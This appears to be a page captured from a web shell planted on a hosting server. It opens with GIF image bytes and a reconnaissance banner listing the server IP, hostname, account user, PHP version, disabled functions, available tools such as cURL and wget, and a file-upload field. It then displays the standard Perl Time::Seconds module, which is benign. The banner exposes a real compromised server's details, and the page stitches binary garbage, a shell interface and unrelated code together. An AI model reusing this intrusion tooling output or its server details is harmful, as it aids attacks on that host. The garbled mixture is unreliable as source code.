GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.143.237.54 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/lib64/perl5/Time/ |
Upload File : |
package Time::Seconds; use strict; use vars qw/@EXPORT @EXPORT_OK @ISA/; @ISA = 'Exporter'; @EXPORT = qw( ONE_MINUTE ONE_HOUR ONE_DAY ONE_WEEK ONE_MONTH ONE_REAL_MONTH ONE_YEAR ONE_REAL_YEAR ONE_FINANCIAL_MONTH LEAP_YEAR NON_LEAP_YEAR ); @EXPORT_OK = qw(cs_sec cs_mon); use constant ONE_MINUTE => 60; use constant ONE_HOUR => 3_600; use constant ONE_DAY => 86_400; use constant ONE_WEEK => 604_800; use constant ONE_MONTH => 2_629_744; # ONE_YEAR / 12 use constant ONE_REAL_MONTH => '1M'; use constant ONE_YEAR => 31_556_930; # 365.24225 days use constant ONE_REAL_YEAR => '1Y'; use constant ONE_FINANCIAL_MONTH => 2_592_000; # 30 days use constant LEAP_YEAR => 31_622_400; # 366 * ONE_DAY use constant NON_LEAP_YEAR => 31_536_000; # 365 * ONE_DAY # hacks to make Time::Piece compile once again use constant cs_sec => 0; use constant cs_mon => 1; use overload 'fallback' => 'undef', '0+' => \&seconds, '""' => \&seconds, '<=>' => \&compare, '+' => \&add, '-' => \&subtract, '-=' => \&subtract_from, '+=' => \&add_to, '=' => \© sub new { my $class = shift; my ($val) = @_; $val = 0 unless defined $val; bless \$val, $class; } sub _get_ovlvals { my ($lhs, $rhs, $reverse) = @_; $lhs = $lhs->seconds; if (UNIVERSAL::isa($rhs, 'Time::Seconds')) { $rhs = $rhs->seconds; } elsif (ref($rhs)) { die "Can't use non Seconds object in operator overload"; } if ($reverse) { return $rhs, $lhs; } return $lhs, $rhs; } sub compare { my ($lhs, $rhs) = _get_ovlvals(@_); return $lhs <=> $rhs; } sub add { my ($lhs, $rhs) = _get_ovlvals(@_); return Time::Seconds->new($lhs + $rhs); } sub add_to { my $lhs = shift; my $rhs = shift; $rhs = $rhs->seconds if UNIVERSAL::isa($rhs, 'Time::Seconds'); $$lhs += $rhs; return $lhs; } sub subtract { my ($lhs, $rhs) = _get_ovlvals(@_); return Time::Seconds->new($lhs - $rhs); } sub subtract_from { my $lhs = shift; my $rhs = shift; $rhs = $rhs->seconds if UNIVERSAL::isa($rhs, 'Time::Seconds'); $$lhs -= $rhs; return $lhs; } sub copy { Time::Seconds->new(${$_[0]}); } sub seconds { my $s = shift; return $$s; } sub minutes { my $s = shift; return $$s / 60; } sub hours { my $s = shift; $s->minutes / 60; } sub days { my $s = shift; $s->hours / 24; } sub weeks { my $s = shift; $s->days / 7; } sub months { my $s = shift; $s->days / 30.4368541; } sub financial_months { my $s = shift; $s->days / 30; } sub years { my $s = shift; $s->days / 365.24225; } sub pretty { my $s = shift; my $str = ""; if ($s < 0) { $s = -$s; $str = "minus "; } if ($s >= ONE_MINUTE) { if ($s >= ONE_HOUR) { if ($s >= ONE_DAY) { my $days = sprintf("%d", $s->days); # does a "floor" $str = $days . " days, "; $s -= ($days * ONE_DAY); } my $hours = sprintf("%d", $s->hours); $str .= $hours . " hours, "; $s -= ($hours * ONE_HOUR); } my $mins = sprintf("%d", $s->minutes); $str .= $mins . " minutes, "; $s -= ($mins * ONE_MINUTE); } $str .= $s->seconds . " seconds"; return $str; } 1; __END__ =head1 NAME Time::Seconds - a simple API to convert seconds to other date values =head1 SYNOPSIS use Time::Piece; use Time::Seconds; my $t = localtime; $t += ONE_DAY; my $t2 = localtime; my $s = $t - $t2; print "Difference is: ", $s->days, "\n"; =head1 DESCRIPTION This module is part of the Time::Piece distribution. It allows the user to find out the number of minutes, hours, days, weeks or years in a given number of seconds. It is returned by Time::Piece when you delta two Time::Piece objects. Time::Seconds also exports the following constants: ONE_DAY ONE_WEEK ONE_HOUR ONE_MINUTE ONE_MONTH ONE_YEAR ONE_FINANCIAL_MONTH LEAP_YEAR NON_LEAP_YEAR Since perl does not (yet?) support constant objects, these constants are in seconds only, so you cannot, for example, do this: C<print ONE_WEEK-E<gt>minutes;> =head1 METHODS The following methods are available: my $val = Time::Seconds->new(SECONDS) $val->seconds; $val->minutes; $val->hours; $val->days; $val->weeks; $val->months; $val->financial_months; # 30 days $val->years; $val->pretty; # gives English representation of the delta The usual arithmetic (+,-,+=,-=) is also available on the objects. The methods make the assumption that there are 24 hours in a day, 7 days in a week, 365.24225 days in a year and 12 months in a year. (from The Calendar FAQ at http://www.tondering.dk/claus/calendar.html) =head1 AUTHOR Matt Sergeant, matt@sergeant.org Tobias Brox, tobiasb@tobiasb.funcom.com Bal�zs Szab� (dLux), dlux@kapu.hu =head1 LICENSE Please see Time::Piece for the license. =head1 Bugs Currently the methods aren't as efficient as they could be, for reasons of clarity. This is probably a bad idea. =cut